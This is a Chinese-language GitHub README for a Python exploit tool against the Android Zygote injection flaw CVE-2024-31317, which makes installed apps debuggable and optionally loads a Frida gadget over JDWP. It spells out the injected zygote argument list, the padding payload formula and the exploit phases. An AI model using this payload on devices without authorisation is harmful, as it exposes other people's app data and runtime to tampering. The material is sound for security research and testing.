CleoV2/Debuggable-App-Exploit
GitHub: CleoV2/Debuggable-App-Exploit
针对 CVE-2024-31317 漏洞的 Python 利用工具,通过 Zygote 命令注入使任意 Android 应用变为可调试状态,并可选注入 Frida gadget 实现运行时 Hook。
Stars: 8 | Forks: 1
# CVE-2024-31317 可调试应用漏洞利用
一个基于 Python 的 CVE-2024-31317 (Android Zygote 注入) 漏洞利用工具,通过 `hidden_api_blacklist_exemptions` 设置注入恶意 zygote 参数,从而使任何已安装的 Android 应用变为可调试状态。包含可选的 Frida gadget 注入功能,用于运行时 hook。
## 概述
该漏洞利用利用了 Android Zygote 进程中的命令注入漏洞,通过启用 `debuggable` 标志启动目标应用程序。这允许对任何应用进行 JDWP 调试和检查,而无需 root 权限或应用的调试版本。
**基于以下研究:** [Flanker's CVE-2024-31317 分析](https://blog.flanker017.me/cve-2024-31317/)
核心洞察:*"ZygoteArguments 中的 runtime-flags 字段实际上可以用来启用应用程序的 debuggable 属性。"
## 功能特性
- **自动检测模式** - 自动检测目标应用的 UID、指令集和数据目录
- **可调试标志注入** - 设置 `runtime-flags=65535` 以启用调试
- **JDWP 转发** - 漏洞利用后自动设置 JDWP 端口转发
- **Frida gadget 注入** - 可选择通过 JDWP 注入 Frida 以进行运行时 hook
- **智能断点** - 使用无需用户交互即可自动触发的可靠断点
- **自动安装调试应用** - 如果不存在辅助应用则自动安装
## 系统要求
- 存在 CVE-2024-31317 漏洞的 Android 设备(2024 年 6 月安全补丁之前)
- 已安装 ADB 并启用 USB 调试
- Python 3.10+
- 依赖包:`ppadb`, `jdwplib`
## 安装
将以下文件放置在同一目录下:
```
├── CVE-2024-31317-Debuggable.py # Main exploit script
├── jdwplib.py # JDWP client library
├── app-debug.apk # Debuggable helper app
├── frida-gadget-android-*.so # Frida gadget (optional)
├── frida-gadget.config.so # Frida config (optional)
└── win32/adb.exe # Windows ADB binary
```
## 用法
### 基本用法
```
python CVE-2024-31317-Debuggable.py
```
脚本将提示您选择参数检测模式:
```
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]:
```
### 执行流程
1. **阶段 1:提取 startSeq**
- 启动一个可调试的辅助应用
- 通过 JDWP 连接并从堆栈帧中提取 `startSeq` 值
- 关闭辅助应用
2. **阶段 2:注入 Zygote 参数**
- 构建带有 `runtime-flags=65535` (可调试) 的恶意 zygote 参数
- 将 payload 注入到 `hidden_api_blacklist_exemptions` 设置中
- 强制停止并使用注入的参数重启目标应用
3. **阶段 3:后渗透**
- 设置 JDWP 端口转发
- 可选择注入 Frida gadget 进行运行时 hook
### 示例输出
```
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]: 1
[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701
Inject Frida? (y/N):
```
## 配置
### 目标应用
编辑脚本顶部的常量:
```
TARGET_APP = "com.debug.configurator" # Change to your target package
DEBUG_APP = "com.debug.app" # Helper debuggable app
DEBUG_APK = "app-debug.apk" # APK file for helper app
```
### 自动检测 vs 硬编码
**自动检测模式 (推荐):**
- 使用 `pm list packages -U` 获取 UID
- 使用 `dumpsys package` 获取指令集和数据目录
- 在不同设备上更可靠
**硬编码模式:**
- 使用默认值 (UID=10242, arm64 等)
- 更快,但如果设备与默认值不同则可靠性较低
## Frida Gadget 注入
漏洞利用成功后,您可以选择注入 Frida gadget:
```
Inject Frida? (y/N): y
```
脚本将会:
1. 将 `frida-gadget.so` 推送到 `/data/local/tmp/`
2. 通过 `run-as` 复制到应用的数据目录
3. 设置断点并通过 JDWP 加载 gadget
4. 转发端口 27042 和 27043
### 断点目标
脚本按可靠性顺序尝试以下断点:
| 类 | 方法 | 触发方式 |
|-------|--------|---------|
| `android.os.MessageQueue` | `next` | 自动 - 主 looper 持续轮询 |
| `android.os.Binder` | `execTransact` | 自动 - 任何 IPC/binder 调用 |
| `android.app.ActivityThread` | `handleMessage` | 自动 - 应用的主 handler |
| `android.os.Handler` | `dispatchMessage` | 自动 - 消息分发 |
| `android.os.Handler` | `handleMessage` | 自动 - 消息处理 |
| `android.view.Choreographer` | `doFrame` | 自动 - 帧回调 |
| `android.view.View` | `dispatchTouchEvent` | 手动 - 需要触摸 |
| `android.view.View` | `onDraw` | 手动 - 需要 UI 重绘 |
顶部的断点应自动触发。如果超时,请点击应用以触发备用断点。
### 连接到 Frida
注入成功后:
```
# 连接到 gadget
frida -H 127.0.0.1:27042 -n Gadget
# 列出进程
frida-ps -H 127.0.0.1:27042
```
## 漏洞利用之后
漏洞利用成功后,目标应用将在启用调试的状态下运行:
1. **使用 JDWP 调试器连接:**
jdb -attach localhost:8701
2. **使用 Android Studio 调试器** - 附加到转发端口上的进程
3. **使用 Frida** - 如果通过脚本注入了 gadget
## 工作原理
### 漏洞概述
CVE-2024-31317 是 Android Zygote 进程中的一个命令注入漏洞。通过使用特制输入操纵 `hidden_api_blacklist_exemptions` 系统设置,我们可以在应用启动时注入任意 zygote 参数。
### 关键组件
1. **startSeq 提取**:每次应用启动都有一个唯一的序列号。我们通过 JDWP 检查堆栈帧变量,从一个可调试的应用中提取此值。
2. **Payload 构建**:我们构建 zygote 参数,包括:
--runtime-args
--setuid=
--setgid=
--runtime-flags=65535 # 启用所有调试标志
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=
--app-data-dir=
--package-name=
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=
3. **注入**:Payload 被注入到具有特定填充(针对 Android 12+)的系统设置中:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
4. **触发**:强制停止并重启目标应用,该应用将使用我们注入的参数和启用的可调试标志启动。
### 通过 JDWP 进行 Frida 注入
Frida 注入的工作原理:
1. 通过 JDWP 连接到可调试应用
2. 在一个常用方法上设置断点
3. 当断点命中时,使用 `Runtime.load()` 加载 Frida gadget 共享库
4. Gadget 初始化并开始在端口 27042 上监听
## 局限性
- 仅适用于存在 CVE-2024-31317 漏洞的设备(2024 年 6 月安全补丁之前)
- 不是 root 漏洞利用 - 仅提供对目标应用的可调试访问权限
- Frida 注入要求应用正在运行并命中断点
- 一些高度混淆的应用可能会阻止 Frida hook
## 故障排除
**"Failed to get startSeq"**
- 确保调试应用已正确签名且可安装
- 尝试重新运行漏洞利用程序
**Frida 注入期间 "No breakpoint hit"**
- 点击应用以触发触摸/绘制断点
- 确保应用处于前台
**Frida 连接被拒绝**
- 验证端口转发:`adb forward --list`
- 重新运行端口转发:`adb forward tcp:27042 tcp:27042`
## 致谢
- **[Flanker (flanker017)](https://blog.flanker017.me/)** - CVE-2024-31317 的原创研究和详细文章
- **typlo** - 用于通过 JDWP 检查查找 startSeq 的代码片段
- **[Anonymous941](https://github.com/Anonymous941/zygote-injection-toolkit)** - Zygote 注入工具包参考实现
- **Meta X Red Team** - 原始漏洞发现和披露
## 参考资料
- [CVE-2024-31317 详细分析 - Flanker](https://blog.flanker017.me/cve-2024-31317/)
- [Meta 安全公告](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
- [InfoSec 文章](https://infosecwriteups.com/exploiting-android-zygote-injection-cve-2024-31317-d83f69265088)
- [Anonymous941 的 Zygote 注入工具包](https://github.com/Anonymous941/zygote-injection-toolkit)
- [Frida 文档](https://frida.re/docs/)
## 免责声明
本工具仅供教育和授权安全研究目的使用。仅在他您拥有或获得明确书面许可进行测试的设备上使用。未经授权访问计算机系统是非法和不道德的。作者不对本工具的任何滥用行为负责。
## 许可证
MIT 许可证 - 详见 LICENSE 文件。
标签:ADB, Android 安全, API接口, App 安全测试, CVE-2024-31317, Cybersecurity, Docker支持, Frida, hidden_api, Hook 技术, JDWP, Python, Runtime Manipulation, Zygote 注入, 代码生成, 协议分析, 命令注入, 提权漏洞, 无后门, 权限提升, 渗透测试工具, 目录枚举, 移动安全, 调试绕过, 逆向工具